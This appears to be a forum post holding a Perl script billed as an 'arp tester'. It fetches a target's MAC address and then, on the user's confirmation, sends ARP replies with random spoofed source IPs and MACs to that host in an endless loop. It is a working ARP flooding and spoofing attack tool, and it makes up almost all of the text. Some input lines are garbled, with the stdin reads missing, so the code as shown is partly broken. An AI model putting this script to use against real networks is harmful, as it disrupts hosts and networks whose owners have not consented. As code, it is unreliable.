13 Years of Service
98%
Code:
>1.#!/usr/bin/perl
2.#ubuntu sudo apt-get install libnet-arp-perl
3.#ubuntu sudo apt-get install libnet-rawip-perl
4.#Madstein - arp tester
5.
6.use Net::RawIP;
7.use Term::ANSIColor;
8.use Net::ARP ;
9.
10.inicio:
11.print color ("red"), "[+]",color ("reset"), "Interface to Use Ex: eth1 | wlan0 | eth0 \n" ;
12.$iface = ;
13.print color ("red"), "[+]",color ("reset"), "Insert IP to Get Mac Addr \n" ;
14.$target = ;
15.chomp ( $target,$iface ) ;
16.
17.$getmac = Net::ARP::arp_lookup($dev,$target);
18.my $count = 0;
19.if ($getmac =~ unknow ) {
20. print "Something went Wrong The Target Retrieved an unknow Mac addr\n";
21. print "Prees Any Key To Restart Program\n";
22. $restart = ;
23. goto inicio ;
24.}
25.
26.elsif ($getmac =~ "00:00:00:00:00:00" ) {
27. print "00:00:00:00:00:00 retrived error\n";
28. print "Prees Any Key To Restart Program\n";
29. $restart = ;
30. goto inicio ;
31.}
32.
33.else {
34. print color ("red"), "[+]",color ("reset"), " $target mac is $getmac \n";
35. print color ("green"), "[+]",color ("reset"), " type.. yes ..to flood || .. no .. to restart Program \n";
36. $flood = ;
37. if ($flood =~ yes ){
38. while (1) {
39.my $src = join ".", map int rand 255, 1 .. 4;
40.my $spoofedmac = join ":", map int rand 99, 1 .. 6, ;
41.Net::ARP::send_packet($iface, # Device
42. $src, # Source IP
43. $target, # Destination IP
44. $spoofedmac, # Source MAC
45. $getmac, # Destinaton MAC
46. 'reply'); # ARP operation
47. $count++;
48.print "Packeth Sent Tru $iface to $target using $src as ip ";
49.print "with this spoofed mac $spoofedmac amount $count";
50. } }
51. elsif ($flood =~ "no") {
52. system " clear";
53. goto inicio;}
54. }
55.